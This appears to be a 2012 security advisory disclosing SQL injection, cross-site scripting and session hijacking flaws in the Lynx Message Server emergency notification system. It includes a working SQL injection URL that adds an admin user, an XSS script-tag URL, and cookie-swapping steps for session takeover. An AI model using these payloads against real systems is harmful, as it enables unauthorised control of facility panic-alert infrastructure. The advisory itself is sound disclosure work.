1. Summary

The Micro Technology Services Inc. "Lynx Message Server 7.11.10.2" and/or
"LynxTCPService version 1.1.62" web interface is vulnerable to SQL
Injection, Cross-Site Scripting, and other security problems.

2. Description

Lynx is a "Facility wide Duress and Emergency Notification" system
developed by Micro Technology Services, Inc. (http://www.lynxguide.com/)
out of Richardson, Texas.  The product is designed to "address the issue
of making it more cost effective to install panic buttons and improve
group and mass communication in large facilities or groups of facilities
on the same network."  By submitting malicious input to certain fields, it
is possible to add administrative users to the system without credentials
using SQL injection, and inject code in the security context of the
server.  With access to session network traffic, It is also possible to
hijack sessions and sniff user ID's and passwords.

3. Proof of Concept

3a.  SQL Injection example - to add an admin user to the system, visit a
URL such as:

http://victim/cgi/email_password.plx?UserID=a'%3BINSERT+INTO+Users([User],[Password])+VALUES+('bede','bede')%3Bselect+Users.[Password],+Users.[User]+from+USERS+where+Users.[User]='b

Then go to http://victim/cgi/logon.plx to log in with the newly created
account

3b.  Cross-Site Scripting (XSS) example - to generate an XSS popup, visit
a URL such as:

http://victim/cgi/wrapper.plx?Destination=addequipment.htm&Title=<script>alert('XSS')</script>

this CGI Binary does require you to be logged in in order to work,
limiting its effectiveness.

3c.  Session hijacking example - to change your session to another user's
currently logged in session, log into the server and intercept the Cookie
and change it to the value of another user, perhaps one intercepted with a
proxy or sniffer.  For example, you might change your own session:

Set-Cookie: Access_Num=1.304931640625e%2B019%7C%7C; path=/; expires=Fri,
23-Mar-2012 06:59:01 GMT

to that of another user:

Set-Cookie: Access_Num=7.408447265625e%2B019%7C%7C; path=/; expires=Fri,
23-Mar-2012 06:59:01 GMT

and you will now be logged in as that user

4. Impact

Ability to add users, modify data, inject code in the security context of
the server, take over sessions and possibly other attacks.

5. Affected Products

The exact versions of affected software are unknown to the authors.  The
two services running appear to be:

"Lynx Message Server 7.11.10.2" and "LynxTCPService version 1.1.62"


6. Solution

The vendor claims that the input validation issues (SQL Injection and XSS)
have been fixed in version "7.12.4.1".  The authors have not verified
these claims.  Customers must contact the vendor to arrange for
installation of updated software.  A fix for the session management and
plaintext protocol usage issues is not available.  However, the use of a
front-end HTTP proxy supporting SSL encryption may partially mitigate
these risks.


7. Timetable

2012-03-22 Advisory written
2012-03-22 Vendor responds with intention to analyze and fix issues
2012-04-23 Vendor advises that partial fix is available
2012-05-03 Public disclosure

8. Reference

http://www.foofus.net/?page_id=562

9. Credits

bede@foofus.net (Mark Lachniet)
psyonik@foofus.net (David Reflexia)